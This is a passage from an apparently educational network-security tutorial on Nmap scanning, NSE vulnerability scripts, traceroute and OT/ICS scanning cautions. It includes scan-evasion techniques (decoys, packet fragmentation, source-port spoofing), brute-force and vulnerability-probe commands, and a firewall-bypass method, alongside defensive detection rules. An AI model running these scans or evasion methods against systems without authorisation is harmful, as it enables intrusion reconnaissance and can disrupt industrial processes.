&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nt"&gt;--osscan-guess&lt;/span&gt;           &lt;span class="c"&gt;# Guess even if not certain&lt;/span&gt;

&lt;span class="c"&gt;# Aggressive scan (combines -sV -O -sC --traceroute):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; 192.168.1.100            &lt;span class="c"&gt;# Aggressive — comprehensive but noisy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Nmap Scripting Engine (NSE)
&lt;/h3&gt;

&lt;p&gt;NSE is one of Nmap's most powerful features — scripts that perform automated detection, exploitation, and information gathering.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Default scripts (safe, commonly useful):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; 192.168.1.100          &lt;span class="c"&gt;# Run default scripts&lt;/span&gt;
&lt;span class="c"&gt;# Equivalent to: --script=default&lt;/span&gt;

&lt;span class="c"&gt;# Specific script:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.100   &lt;span class="c"&gt;# Check EternalBlue&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-title &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 192.168.1.0/24      &lt;span class="c"&gt;# Get web page titles&lt;/span&gt;

&lt;span class="c"&gt;# Script categories:&lt;/span&gt;
&lt;span class="c"&gt;# auth: authentication bypass/brute force&lt;/span&gt;
&lt;span class="c"&gt;# broadcast: network discovery via broadcast&lt;/span&gt;
&lt;span class="c"&gt;# brute: brute force authentication&lt;/span&gt;
&lt;span class="c"&gt;# default: safe, common scripts (run with -sC)&lt;/span&gt;
&lt;span class="c"&gt;# discovery: enumerate network info&lt;/span&gt;
&lt;span class="c"&gt;# dos: denial of service&lt;/span&gt;
&lt;span class="c"&gt;# exploit: exploitation scripts (use carefully)&lt;/span&gt;
&lt;span class="c"&gt;# external: queries external services&lt;/span&gt;
&lt;span class="c"&gt;# fuzzer: send fuzzing data&lt;/span&gt;
&lt;span class="c"&gt;# intrusive: may crash target systems&lt;/span&gt;
&lt;span class="c"&gt;# malware: detect malware&lt;/span&gt;
&lt;span class="c"&gt;# safe: won't cause harm&lt;/span&gt;
&lt;span class="c"&gt;# version: version detection&lt;/span&gt;
&lt;span class="c"&gt;# vuln: check for known vulnerabilities&lt;/span&gt;

&lt;span class="c"&gt;# Vulnerability scanning scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln 192.168.1.100     &lt;span class="c"&gt;# All vulnerability scripts&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24  &lt;span class="c"&gt;# SMB vulns on network&lt;/span&gt;

&lt;span class="c"&gt;# Critical vulnerability scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24   &lt;span class="c"&gt;# EternalBlue&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-vuln-ms12-020 &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 192.168.1.100   &lt;span class="c"&gt;# RDP vuln&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-heartbleed &lt;span class="nt"&gt;-p&lt;/span&gt; 443 192.168.1.100        &lt;span class="c"&gt;# Heartbleed&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-poodle &lt;span class="nt"&gt;-p&lt;/span&gt; 443 192.168.1.100            &lt;span class="c"&gt;# POODLE&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-shellshock &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 192.168.1.100    &lt;span class="c"&gt;# Shellshock&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-security-mode &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24   &lt;span class="c"&gt;# SMB signing&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; snmp-brute &lt;span class="nt"&gt;-p&lt;/span&gt; 161 192.168.1.0/24          &lt;span class="c"&gt;# SNMP communities&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ftp-anon &lt;span class="nt"&gt;-p&lt;/span&gt; 21 192.168.1.0/24             &lt;span class="c"&gt;# Anonymous FTP&lt;/span&gt;

&lt;span class="c"&gt;# Information gathering scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; dns-brute &lt;span class="nt"&gt;--script-args&lt;/span&gt; dns-brute.domain&lt;span class="o"&gt;=&lt;/span&gt;target.com  &lt;span class="c"&gt;# Subdomain enum&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ldap-search &lt;span class="nt"&gt;-p&lt;/span&gt; 389 192.168.1.10           &lt;span class="c"&gt;# LDAP enumeration&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-enum-shares &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.100      &lt;span class="c"&gt;# SMB shares&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-enum-users &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.100       &lt;span class="c"&gt;# SMB user enum&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-enum &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 192.168.1.100         &lt;span class="c"&gt;# Web paths&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; banner &lt;span class="nt"&gt;-p&lt;/span&gt; 21,22,25,80 192.168.1.100       &lt;span class="c"&gt;# Service banners&lt;/span&gt;

&lt;span class="c"&gt;# ICS/OT scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; modbus-discover &lt;span class="nt"&gt;-p&lt;/span&gt; 502 192.168.1.0/24     &lt;span class="c"&gt;# Modbus devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; s7-info &lt;span class="nt"&gt;-p&lt;/span&gt; 102 192.168.1.0/24             &lt;span class="c"&gt;# Siemens S7 PLCs&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; dnp3-info &lt;span class="nt"&gt;-p&lt;/span&gt; 20000 192.168.1.0/24         &lt;span class="c"&gt;# DNP3 devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; bacnet-info &lt;span class="nt"&gt;-p&lt;/span&gt; 47808 192.168.1.0/24       &lt;span class="c"&gt;# BACnet devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; enip-info &lt;span class="nt"&gt;-p&lt;/span&gt; 44818 192.168.1.0/24         &lt;span class="c"&gt;# EtherNet/IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Nmap Output Formats
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Output formats:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; output.txt 192.168.1.0/24      &lt;span class="c"&gt;# Normal (human readable)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oX&lt;/span&gt; output.xml 192.168.1.0/24      &lt;span class="c"&gt;# XML (machine readable, Metasploit import)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oG&lt;/span&gt; output.gnmap 192.168.1.0/24    &lt;span class="c"&gt;# Grepable format&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; output 192.168.1.0/24          &lt;span class="c"&gt;# All formats (.nmap, .xml, .gnmap)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oJ&lt;/span&gt; output.json 192.168.1.0/24     &lt;span class="c"&gt;# JSON (with -oX then convert)&lt;/span&gt;

&lt;span class="c"&gt;# Grep from grepable output:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"80/open"&lt;/span&gt; output.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;   &lt;span class="c"&gt;# IPs with port 80 open&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Ports:"&lt;/span&gt; output.gnmap | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f2-&lt;/span&gt;      &lt;span class="c"&gt;# Extract port lists&lt;/span&gt;

&lt;span class="c"&gt;# Parse XML with Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import xml.etree.ElementTree as ET

tree = ET.parse('output.xml')
root = tree.getroot()

for host in root.findall('host'):
    status = host.find('status').get('state')
    if status == 'up':
        addr = host.find('address').get('addr')
        print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Host: {addr}")

        ports = host.find('ports')
        if ports:
            for port in ports.findall('port'):
                if port.find('state').get('state') == 'open':
                    portid = port.get('portid')
                    service = port.find('service')
                    svc = service.get('name', 'unknown') if service is not None else 'unknown'
                    version = service.get('product', '') if service is not None else ''
                    print(f"  {portid}/tcp  {svc}  {version}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.6 Nmap for Security Assessments — Practical Workflows
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Phase 1: Discovery&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;-oA&lt;/span&gt; phase1_discovery
&lt;span class="c"&gt;# Identify live hosts first&lt;/span&gt;

&lt;span class="c"&gt;# Phase 2: Port scan of live hosts&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Up"&lt;/span&gt; phase1_discovery.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; live_hosts.txt
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; phase2_ports
&lt;span class="c"&gt;# -iL: read hosts from file&lt;/span&gt;
&lt;span class="c"&gt;# --open: only show open ports (reduce output)&lt;/span&gt;
&lt;span class="c"&gt;# -p-: all 65535 ports&lt;/span&gt;
&lt;span class="c"&gt;# -T4: aggressive timing&lt;/span&gt;

&lt;span class="c"&gt;# Phase 3: Version detection on open ports&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"open"&lt;/span&gt; phase2_ports.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hosts_with_ports.txt
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; hosts_with_ports.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; phase3_versions

&lt;span class="c"&gt;# Phase 4: Vulnerability assessment&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="nt"&gt;-iL&lt;/span&gt; hosts_with_ports.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; phase4_vulns

&lt;span class="c"&gt;# Combine phases for efficiency:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; comprehensive_scan

&lt;span class="c"&gt;# Evasion techniques:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T1&lt;/span&gt; 192.168.1.100              &lt;span class="c"&gt;# Paranoid timing (very slow)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--scan-delay&lt;/span&gt; 1s 192.168.1.100  &lt;span class="c"&gt;# 1 second between probes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; 192.168.1.100               &lt;span class="c"&gt;# Fragment packets (8-byte fragments)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; RND:10 192.168.1.100        &lt;span class="c"&gt;# Decoy scan (10 random decoys)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--source-port&lt;/span&gt; 53 192.168.1.100 &lt;span class="c"&gt;# Spoof source port (bypass some firewalls)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--data-length&lt;/span&gt; 25 192.168.1.100 &lt;span class="c"&gt;# Add random data to packets&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.7 Nmap in OT/ICS Environments — Critical Warnings
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARNING: Nmap in OT/ICS environments requires extreme caution.

Industrial devices differ from IT devices in their response to scanning:

1. PLCs (Programmable Logic Controllers):
   May CRASH or RESTART when receiving unexpected packets
   A PLC restart in a manufacturing environment = production stop
   A PLC restart during a chemical process = potential safety incident

2. RTUs (Remote Terminal Units):
   Some legacy RTUs have limited TCP stack resources
   Port scan may exhaust connection table → device stops responding

3. Network Switches (industrial grade):
   Some Hirschmann, Moxa switches have bugs triggered by SYN scans
   May cause port to err-disable or switch to restart

4. Safety Systems:
   Safety PLCs (SIS — Safety Instrumented Systems) are the most critical
   ANY unexpected interaction with a SIS can trigger a demand
   A spurious demand on safety system = unplanned process shutdown or worse
   NEVER scan safety systems without explicit written vendor approval

Safe alternatives for OT asset discovery:
  1. Passive monitoring (tcpdump/Wireshark — no traffic injection)
  2. ARP scan only (Layer 2, generally safe): nmap -sn -PR 192.168.1.0/24
  3. ICMP ping only (usually safe): nmap -sn -PE 192.168.1.0/24
  4. SNMP queries to known management IPs (pre-approved)
  5. Review existing asset inventory documentation
  6. Query SCADA/HMI system for known device list

If active scanning is required:
  - Get written approval from operations/safety team
  - Schedule during planned maintenance window
  - Have operations team monitor process for abnormal behaviour
  - Have rollback plan ready
  - Start with single host, verify it doesn't cause issues
  - Use slow timing (-T1 or custom delays)
  - Never use -A, -sV, or NSE scripts on unknown OT devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Nmap's NSE scripting makes it not just a scanner but a vulnerability assessment platform. The &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; script checks for EternalBlue with one command; &lt;code&gt;modbus-discover&lt;/code&gt; identifies Modbus devices and queries their status. In OT environments, however, Nmap requires discipline — the wrong scan against the wrong device can stop production or create safety hazards. Passive tools first, active tools only with explicit approval.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Traceroute and Tracert — Path Discovery
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 How Traceroute Works
&lt;/h3&gt;

&lt;p&gt;Traceroute reveals the path that packets take from source to destination by exploiting TTL (Time to Live) expiration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceroute Mechanism:

Packet 1: TTL=1
  Source → [Router 1] → TTL decrements to 0 → Router 1 discards packet
  Router 1 sends back: ICMP Time Exceeded (Type 11, Code 0)
  Source records: Router 1's IP, round-trip time

Packet 2: TTL=2
  Source → [Router 1] → TTL=1 → [Router 2] → TTL=0 → Router 2 discards
  Router 2 sends back: ICMP Time Exceeded
  Source records: Router 2's IP, RTT

Packet 3: TTL=3
  Source → Router 1 → Router 2 → [Router 3] → TTL=0 → Time Exceeded
  ...continues until destination reached

Final Packet: TTL = number of hops
  Destination receives packet → responds normally
  Linux: ICMP Port Unreachable (UDP probe to unlikely port)
  Windows: ICMP Echo Reply

Each hop shows:
  * = no response (firewall drops ICMP, timeout)
  IP address = router's interface address
  RTT (3 measurements) = latency at that hop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Traceroute Variants
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux traceroute (uses UDP by default):&lt;/span&gt;
traceroute google.com
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; google.com              &lt;span class="c"&gt;# -n: numeric, no DNS resolution&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; google.com              &lt;span class="c"&gt;# TCP SYN (bypasses firewalls blocking UDP/ICMP)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 google.com        &lt;span class="c"&gt;# TCP SYN to port 80&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-I&lt;/span&gt; google.com              &lt;span class="c"&gt;# ICMP echo (like Windows tracert)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-q&lt;/span&gt; 1 google.com            &lt;span class="c"&gt;# -q 1: one probe per hop (faster)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-w&lt;/span&gt; 2 google.com            &lt;span class="c"&gt;# -w 2: 2 second timeout per probe&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-m&lt;/span&gt; 30 google.com           &lt;span class="c"&gt;# -m 30: max 30 hops&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-s&lt;/span&gt; 192.168.1.5 google.com  &lt;span class="c"&gt;# -s: source IP to use&lt;/span&gt;
traceroute &lt;span class="nt"&gt;--back&lt;/span&gt; google.com          &lt;span class="c"&gt;# Show asymmetric return path&lt;/span&gt;

&lt;span class="c"&gt;# Windows tracert:&lt;/span&gt;
tracert google.com
tracert &lt;span class="nt"&gt;-d&lt;/span&gt; google.com                 &lt;span class="c"&gt;# -d: no DNS resolution&lt;/span&gt;
tracert &lt;span class="nt"&gt;-h&lt;/span&gt; 30 google.com              &lt;span class="c"&gt;# -h: max hops&lt;/span&gt;
tracert &lt;span class="nt"&gt;-w&lt;/span&gt; 3000 google.com            &lt;span class="c"&gt;# -w: timeout in milliseconds&lt;/span&gt;

&lt;span class="c"&gt;# mtr (My TraceRoute) — combines ping + traceroute, real-time:&lt;/span&gt;
mtr google.com                        &lt;span class="c"&gt;# Interactive real-time view&lt;/span&gt;
mtr &lt;span class="nt"&gt;--report&lt;/span&gt; google.com               &lt;span class="c"&gt;# Generate report&lt;/span&gt;
mtr &lt;span class="nt"&gt;--report-cycles&lt;/span&gt; 10 google.com     &lt;span class="c"&gt;# 10 cycles then report&lt;/span&gt;
mtr &lt;span class="nt"&gt;--no-dns&lt;/span&gt; google.com               &lt;span class="c"&gt;# No DNS resolution&lt;/span&gt;

&lt;span class="c"&gt;# TCP traceroute variants:&lt;/span&gt;
tcptraceroute 192.168.1.1 22          &lt;span class="c"&gt;# TCP traceroute to SSH port&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--traceroute&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1  &lt;span class="c"&gt;# hping3 TCP SYN traceroute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Security Analysis with Traceroute
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Trace to identify network topology:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Reveals: number of hops, intermediate router IPs, asymmetric paths&lt;/span&gt;
&lt;span class="c"&gt;# Security use: map network architecture without access to topology docs&lt;/span&gt;

&lt;span class="c"&gt;# Identify firewall locations:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8
&lt;span class="c"&gt;# Where hops stop responding (*** ***) = likely firewall&lt;/span&gt;
&lt;span class="c"&gt;# Where latency jumps significantly = network boundary&lt;/span&gt;

&lt;span class="c"&gt;# Detect MPLS networks (ISP infrastructure):&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8
&lt;span class="c"&gt;# MPLS hops may show 0ms or very low latency (hardware switching)&lt;/span&gt;

&lt;span class="c"&gt;# Firewall type detection from traceroute responses:&lt;/span&gt;
&lt;span class="c"&gt;# * * * at specific hop: ICMP blocked (stateless filter or DROP policy)&lt;/span&gt;
&lt;span class="c"&gt;# !X: network unreachable (routing problem)&lt;/span&gt;
&lt;span class="c"&gt;# !H: host unreachable&lt;/span&gt;
&lt;span class="c"&gt;# !P: protocol unreachable&lt;/span&gt;
&lt;span class="c"&gt;# !F: fragmentation needed&lt;/span&gt;
&lt;span class="c"&gt;# !A: administratively prohibited (ACL REJECT rule)&lt;/span&gt;

&lt;span class="c"&gt;# Asymmetric routing detection:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; targetIP          &lt;span class="c"&gt;# Outbound path&lt;/span&gt;
&lt;span class="c"&gt;# Then have target traceroute back to you&lt;/span&gt;
&lt;span class="c"&gt;# Different paths = asymmetric routing (security monitoring implications)&lt;/span&gt;

&lt;span class="c"&gt;# Use traceroute to bypass firewalls:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 blocked_host.com    &lt;span class="c"&gt;# TCP SYN to port 80&lt;/span&gt;
&lt;span class="c"&gt;# If HTTP (port 80) is allowed through firewall but ICMP/UDP is not:&lt;/span&gt;
&lt;span class="c"&gt;# TCP traceroute succeeds where normal traceroute fails&lt;/span&gt;
&lt;span class="c"&gt;# Useful for: determining where filtering occurs, identifying firewall position&lt;/span&gt;

&lt;span class="c"&gt;# Network change detection (baseline and compare):&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8 | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/baseline_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;.txt
&lt;span class="c"&gt;# Compare over time: different path = routing change (possibly malicious)&lt;/span&gt;
&lt;span class="c"&gt;# BGP hijack: traffic suddenly going through unexpected ASes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Traceroute and Security Monitoring:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detect traceroute probes against your network (defensive):&lt;/span&gt;
&lt;span class="c"&gt;# In Wireshark: filter for TTL-limited packets:&lt;/span&gt;
&lt;span class="c"&gt;# ip.ttl &amp;lt;= 3 and not (ip.src == your_IP)&lt;/span&gt;

&lt;span class="c"&gt;# In tcpdump:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'ip[8] &amp;lt; 5'&lt;/span&gt;     &lt;span class="c"&gt;# IP TTL &amp;lt; 5 (traceroute probes)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'udp and ip[8] &amp;lt; 5'&lt;/span&gt;  &lt;span class="c"&gt;# UDP traceroute probes&lt;/span&gt;

&lt;span class="c"&gt;# In iptables (log traceroute probes):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-m&lt;/span&gt; ttl &lt;span class="nt"&gt;--ttl-lt&lt;/span&gt; 5 &lt;span class="nt"&gt;-j&lt;/span&gt; LOG &lt;span class="nt"&gt;--log-prefix&lt;/span&gt; &lt;span class="s2"&gt;"TRACEROUTE: "&lt;/span&gt;

&lt;span class="c"&gt;# Detect hping3 traceroute (TCP SYN with low TTL):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0 and ip[8] &amp;lt; 10'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
